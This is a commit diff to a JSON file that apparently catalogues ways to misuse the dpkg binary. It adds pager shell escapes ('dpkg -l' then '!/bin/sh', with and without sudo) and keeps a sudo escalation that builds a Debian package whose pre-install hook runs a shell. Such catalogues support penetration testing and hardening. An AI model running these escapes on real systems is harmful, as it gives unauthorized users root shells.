add shell function and descriptions

data/dpkg.json

@@ -1,8 +1,18 @@
 {
   "functions": {
+    "shell": [
+      {
+        "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
+        "code": "dpkg -l\n!/bin/sh\n"
+      }
+    ],
     "sudo": [
       {
-        "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```",
+        "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
+        "code": "sudo dpkg -l\n!/bin/sh\n"
+      },
+      {
+        "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with https://github.com/jordansissel/fpm and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```",
         "code": "sudo dpkg -i x_1.0_all.deb"
       }
     ]